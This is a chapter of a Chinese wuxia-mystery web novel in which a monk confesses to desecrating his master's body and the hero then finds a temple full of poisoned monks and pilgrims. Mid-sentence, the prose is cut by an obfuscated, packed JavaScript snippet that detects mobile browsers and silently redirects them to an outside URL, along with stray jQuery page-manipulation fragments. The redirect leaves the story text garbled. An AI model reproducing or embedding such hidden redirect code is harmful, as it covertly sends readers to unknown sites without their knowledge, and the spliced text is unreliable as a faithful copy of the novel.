57.第 57 章

作品:《风过无痕

    觉因脸上泛起激动的潮红,眼中渐渐蓄满了泪,“我深负师恩,数十年来不曾有一夕安眠,日夜坐禅,只盼赎清罪孽。我……还有何脸面解师父留下的棋局。”


    压抑了大半辈子的往事,突然找到了出口,一股脑儿倾泻而出。


    “都是觉心的主意。他说寺里香火太少,度日艰难,要想个法子光大本寺。又说十峰山愚夫愚妇众多,若有非常之神迹,必能令他们死心塌地,虔诚供奉。他弄来金漆和药材,强令我们动手,我……我们是被逼无奈!”


    叶青岚想象着几个胆战心惊的小和尚在月光下掘师父的坟,挖师父的心肝,而觉心站在一旁监视,露出白森森的牙齿。


    他当年怎么就没看出觉心是个坏坯子!


    “金身塑成后,觉心挖了个树洞,把师父塞了进去。我们就围着树打坐,每天念诵忏悔经。信众……信众真的多了起来。我有时想,师父在天有灵,也乐见本寺兴旺吧。”


    觉因的语声渐弱,“后来觉心把住持之位传给慧明,同辈师兄弟死的死,走的走。只剩下我一个。我日日夜夜守着师父的金身,某一天终于醒悟,师父他是真的成了佛,庇佑着十峰山隐泉寺,庇佑着一方信众。”


    叶青岚本来满腔愤怒,这时却感到一丝怅然,“或许吧。人们顶礼膜拜之时,未必在乎金子里面是什么。”


    “那姓陆的打坏师父金身时,我就想,是时候跟着师父去了。把慧明塑成金身,是我为隐泉寺做的最后一件事。”


    他既放不下贪欲,安享金身带来的好处,又受良心谴责,自愧对不起师父,内心煎熬了大半辈子,受的折磨着实不少。


    叶青岚牵动了恻隐之心,叹了口气,“把棋盘摆出来吧。了尘留下的残局,我解给你看。”


    半个时辰后,木纹斑驳的棋盘上,白子凯歌高奏,黑子缴械投降。觉因盯着这从小深印于心的棋局,背后冷汗涔涔而下。


    “破此局的关键,只在舍得二字。”叶青岚道,“舍弃贪念,方得解脱,舍弃尘缘,方得自在。我本是这人世的过客,自然没什么放不下的。你虽身在空门,却心有执念,所以看不破此局。”


    觉因惶恐至极,“施主说的是。可你看起来不过二十来岁,怎会知道我师父留下的棋局?”


    “这棋局是我们当年在菩提树下一起创的,他执黑,我执白。你那时就站在一旁看着,怎么忘了?”


    “不可能!我从未见过你!”觉因眼神发直,忽然向前一扑,半个身子倒在棋盘上,弄得棋子四处乱飞,“莫非你是……真正的不朽金身?!”


    叶青岚苦笑,“大师谬赞,叶某只是一介孤魂野鬼。”顿了顿,又道,“这世上,本没有什么不朽金身。”


    他起身离去,任觉因沉浸在震惊迷茫之中。


    出得门来,头顶艳阳高照,鸟鸣啾啾,忽然觉得倦极。他并非勘破了舍得二字,而是身受上天诅咒,什么都抓不住,什么都留不下,恰似风过无痕。本想去找陆冰的,却犯了懒,找了间空禅房,倒头就睡。


    这一觉出奇的香甜,醒来已是深夜,房中一片漆黑。推窗望去,天边一轮冷月窥人,四下全无声息。


    安静得有些可怕。


    叶青岚摸黑走出房门,没走两步,踩中路当中一件软物,险些绊倒。往怀里一掏,才想起火折子丢进土坑,没捡回来。他蹲下身借着月光细看,心头猛地一跳。只见一个光头和尚七窍流血,仰面躺着,空洞的瞳孔里映出青白的月影。


    叶青岚记得这张脸,却叫不出名字。此人怎会突然死在这里?


    他伸手替他合上眼睛。掌心犹有余温。在他怀里摸了摸,没找到火折子。凭记忆往大殿的方向走了几步,拐过一个弯,树后突然倒下第二具尸体。


    他抢过去扶起,心口一阵狂跳。是阿念!


    她同样七窍流血,双目紧闭,右手还紧紧攥着那支莲花钗。


    叶青岚大喊了几声,“阿念!阿念!”,伸手去探鼻息。


    没有呼吸。这个十八岁的小姑娘自作聪明,揣着金钗上山骗取前程,不料却命丧于此。


    叶青岚怒喝,“谁干的?!”


    山间寂寂,唯有风声与他应和。


    心中浮起一个可怕的念头。他放下阿念的尸身,拔腿向大殿跑去。一路上又见到两具和尚的尸身。跑到大殿门口,猛地刹住脚步。


    残烛映照下,地上横七竖八倒了二十来个和尚,皆是七孔流血。有人手里还拿着木鱼。三世佛像高高耸立,半明半暗的面容看起来阴森可怖。


    他握紧拳头,过去挨个查看。圆喜和圆悲并肩躺着,眉头紧蹙。圆性趴在地上,五指成爪,好像要去够什么东西。他俯身想把他翻过来,却看到一滴血滴在圆性僧袍之上。


    叶青岚猛地仰头,屋顶空空如也。伸手一抹脸,竟然摸到满手的血!他心中惊骇无比,抓起一个铜钵一照,只见自己眼耳口鼻中都有鲜血流出,和这些尸体的死状一模一样。


    原来他也中了毒!若非体质特殊,就和这些人死在一起了!


    叶青岚跌坐在地,大口喘息。这些和尚的身体还没完全僵硬,显然刚死不久。


    他记得寺里还有别人。


    他抓起烛台,直奔客堂,屏息推开房门。里面的惨状和大殿上如出一辙。信众们坐的坐,倒的倒,七窍流血,无一生还。他们的脸上、身上盖着许多写着字的黄纸,显然是有人在他们死后,把高利贷的借据洒在他们身上,以示身死债消。


    何其狠毒!


    而这些借据,一直放在陆冰那儿!


    叶青岚转身冲向后寺精舍。陆冰等人来了以后一直住在那里。整排屋子黑漆漆的,没有点灯。他心里一沉。


    如果陆捕头也死了,该怎么办。


    推开第一间房门,空的。


    第二间,还是空的。


    第三间,有人!


    圆周双手被反绑,靠在桌子腿上,充血的眼睛直视着叶青岚,好像有无穷的冤屈愤怒要诉,七窍之中血痕宛然。叶青岚俯身探了探鼻息,愣怔半晌,合上了他的眼睛。


    圆周的身体


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404323|197985||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是冰的,比其他人死得早。


    叶青岚找遍精舍,再没有第二个人影,连行李都收拾得干干净净。


    他浑身的血液都结成了冰。


    陆冰,他留下满寺的尸身,带着手下一走了之。


    叶青岚举着残烛,把整个隐泉寺仔仔细细搜了一遍。觉因倒在自己房中,水碗打翻,浸湿了席子。两名信众面朝下躺在离禅堂不远的草丛里,棍棒掉在身边。


    除了他,没有第二个活人。


    叶青岚生平所历的恐怖之事不少,但此情此景,比战场上的尸山血海更为惊悚。不是光明正大的对战,而是藏在暗处的恶意,残忍夺走了几十条性命。其中大多数人还很年轻。


    手心一烫,残烛燃尽。冷月悄无声息地爬到头顶。


    叶青岚扔掉烛台,狂奔回大殿,冲到香案前,学着阿虎的样子,依次拿起香炉和净水瓶,又转动铜钵。


    隆隆声中,密室开启。他没等门完全打开就跳了下去。


    里面没有尸体。翻倒的水缸还在原处,地板和墙面的砖块都被拆了大半,露出粗糙的土层。


    他凑近墙面,一寸寸摸索,土腥味直往鼻子里钻。走到最里面,终于在齐肩处发现一个淡淡的痕迹。


    那是一个狰狞的狼头,狼嘴里衔着弓箭,箭头指向天上。


    叶青岚耳中嗡的一声。


    一整晚的遭遇,都不及此刻的惊心动魄之万一。


    贪狼军的标记竟然出现在隐泉寺的地下密室!


    尘封已久的记忆瞬间苏醒,抑或是从未远离。


    第八日


    明德二十年冬,京师以北五十里,帝陵。


    一个年轻人在漫天飞雪中独行。


    他身披一件单薄的软甲,步伐不太稳当,在雪地上留下歪斜的脚印。


    笔直的神道两边,一对对石头神兽若隐若现。朔风卷起地上的雪片,飞过石像头顶,扑到神道尽头那座高耸的功德碑上。


    功德碑高达三丈,通体由白玉雕成,刻满大萧开国皇帝的文治武功。横扫中原,平定七王之乱,止三十八载之干戈。励精图治,外敌不敢来犯,宽仁爱民,百姓得以安居。太祖爷驾崩后,京师百姓人人上街怮哭,全城道路阻塞十日方休。


    年轻人驻足凝望许久,雪片落在头上、肩膀上,渐渐堆积起来,几乎把他变成一个雪人。


    他很快引来了巡视的守陵军。两名军士跑上前来,喝问,“什么人胆敢擅闯皇陵?”


    他们的铠甲上都纹着一个口衔弓箭的狼头。


    年轻人动了动干裂的嘴唇,发出的声音被风卷走。


    军士好不耐烦,一拳打在他腹部。


    他疼得整个人佝偻下去,背上雪花簌簌而落。两名军士反绑了他双手,押回大营。


    皇陵驻扎着三千名守陵军,首领陈将军独享一个大帐,军士们押人进去的时候,他正在火炉边烤一只香喷喷的羊腿,双刀扔在脚边。


    “将军,有人闯入。”


    陈将军虎目一瞪,“干什么的?!”